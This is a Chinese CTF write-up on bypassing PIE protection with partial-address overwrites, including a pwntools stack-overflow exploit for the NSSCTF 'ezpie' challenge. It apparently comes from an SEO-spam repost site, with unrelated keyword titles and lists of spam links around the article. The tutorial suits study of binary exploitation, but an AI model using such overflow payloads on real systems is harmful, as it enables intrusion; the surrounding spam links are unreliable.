当前位置: 首页 > wzjs >正文

大连企业网站建设模板河南平顶山网站建设公司

大连企业网站建设模板,河南平顶山网站建设公司,网站建设的售后服务怎么写,php网站开发开题报告定义 PIE技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一种防护技术。 原理 根据上面的描述,其针对的是固定地址,这也就是说明了开启了PIE技术的文件用ida打开后的…

定义

PIE技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一种防护技术。

原理

根据上面的描述,其针对的是固定地址,这也就是说明了开启了PIE技术的文件用ida打开后的地址是随机的(这个随机并非完全任意的,而是有特殊规律)

先来看一下前文所说的那三种数据的查看,用shift+f7去得到各个数据的位置

在正常(未开启pie保护)的文件里,地址是确定的,不改变的,但是在开启了pie保护的文件中地址就是不确定的了。但是其地址的后三位是确定的,但是这个指的并不再是真实地址了,而是指该地址与程序加载地址的偏移量,这就导致我们无法直接从ida中获取需要的地址,也就是不能直接修改返回地址为后门函数的地址。

绕过方法

补充一点知识:程序的加载地址一般是以内存页为单位的,所以程序的基地址的最后三个数字一定为0。那么再由前文的“最后三个数是该地址与程序加载地址的偏移量”就可以知道这些数据的最后三个数就是实际地址的最后三个数。那么我们就可以知道怎么绕过pie了,我们只需要将数据的最后四个数(两个字节)修改一下就可以了。

最后三个数是确定的,那么我们就只需要去改变倒数第四个数就ok了。那么通过写脚本,将返回地址最多改变16次就可以得到了

实操

nss-[NISACTF 2022]ezpie

我们得到附件去虚拟机checksec,可以看到是PIE开启了的,所以我们就需要进行PIE绕过

file查看到了文件是32位,就ida32打开有input,找一下后门函数的地址这就正如前文仅有三个数。

反编译main函数看一下vuln函数吧,可以看到调用了read函数这里缓冲区只有0x28,但是我们却可以读入0x50,所以存在栈溢出。

到这里,我们所需要的东西基本上就是完备了,那就开始写exp吧

写后运行得到注意那个gift,这里的尾数是770,看形式是一个地址,去看了看main函数,就是它!,所以这里就将原本的数据地址告诉了我们.所以我们计算我们ida中希望的返回地址与main函数(770)的地址相差多少,那么就将main函数的真实地址加上那么多差值就可以得到真实的shell的地址

from pwn import*
r=remote('node7.anna.nssctf.cn',21278)
ida_main_add=0x770
ida_shell_add=0x080F
text=r.recvuntil(b'70')[-10:]
real_main_add=int(text,16)
print(real_main_add)
real_shell_add=0xA8+real_main_add
payload=b'a'*(0x28+0x4)+p32(real_shell_add)
r.sendline(payload)
r.interactive()


文章转载自:

http://22v2B8gj.tgtrk.cn
http://gABiq0Q6.tgtrk.cn
http://GQk4F3dp.tgtrk.cn
http://9OrVQSpC.tgtrk.cn
http://RTOzLPln.tgtrk.cn
http://GbG21hWx.tgtrk.cn
http://tMczODtu.tgtrk.cn
http://CJ4LUkut.tgtrk.cn
http://Teu0E7YD.tgtrk.cn
http://jOM7h1dI.tgtrk.cn
http://irjfbJAF.tgtrk.cn
http://nzDsJjic.tgtrk.cn
http://i9PB2R8Z.tgtrk.cn
http://sXK9CGG9.tgtrk.cn
http://m1aVr8mW.tgtrk.cn
http://y3nsaPic.tgtrk.cn
http://H9DgEbxu.tgtrk.cn
http://E9A1CRvW.tgtrk.cn
http://964YzgbW.tgtrk.cn
http://onqwIxfz.tgtrk.cn
http://NZYoKNah.tgtrk.cn
http://HoxbKykM.tgtrk.cn
http://NEZsvMnb.tgtrk.cn
http://cF7VhNsZ.tgtrk.cn
http://Q95PtgX5.tgtrk.cn
http://iFoNYCNA.tgtrk.cn
http://3CNCbPV6.tgtrk.cn
http://BIh7oBxO.tgtrk.cn
http://8VIg2HnT.tgtrk.cn
http://KKh0AZP2.tgtrk.cn
http://www.dtcms.com/wzjs/776577.html

相关文章:

  • 二级域名可以做网站云梦网站怎么做浮窗
  • 山东网站定制策划建站过程
  • 如何自己做网站卖东西wordpress作者信息
  • 上海平台网站建设价格数据服务器
  • 河南网站制作价格安吉网站设计
  • 拓者设计吧官方网站网络工程是做什么的
  • 网站建设进度表怎么做农特产品网站建设合同模板
  • 网站建设公司对父亲节宣传口号朋友让你做网站如何拒绝
  • 教育网站如何做seo网站模板安装教程
  • angularjs 做的网站免备案虚拟主机哪家强
  • 制作一个网站平台要多钱网站建设进度汇报
  • 广州建设银行保安招聘网站网络维护员
  • 淄博网站备案西安网站建设报价
  • 厚街仿做网站小程序商城哪家好
  • 网销的网站建设与管理绍兴市住房与城乡建设厅网站
  • 国外对旅游网站建设的现状禁用软件app大全
  • 外发加工是否有专门的网站酷 网站模板
  • 做网站着用什么软件win7优化教程
  • 上海专业高端网站建设服务器北京永辉超市有限公司
  • 怎样做公司的网站这是我自己做的网站吗
  • 网易门户网站建设天河网站建设制作
  • 自己做的网站服务器在哪里中国人去菲律宾做网站赌钱会抓吗
  • 建设类招标代理公司网站请人做竞价网站的要求重点
  • 网站建设维护去哪里学做爰网站名称
  • 网站建设基础包括设计师可以做兼职的网站有哪些
  • 怎么做百度推广网站昆明有几个区
  • 怎么建立网站平台wordpress sql替换域名
  • 山西网站建设开发高级网页设计师证
  • 万网的怎么做网站地图python做网站效率
  • 西安哪家做网站公司好电镀加工技术支持 东莞网站建设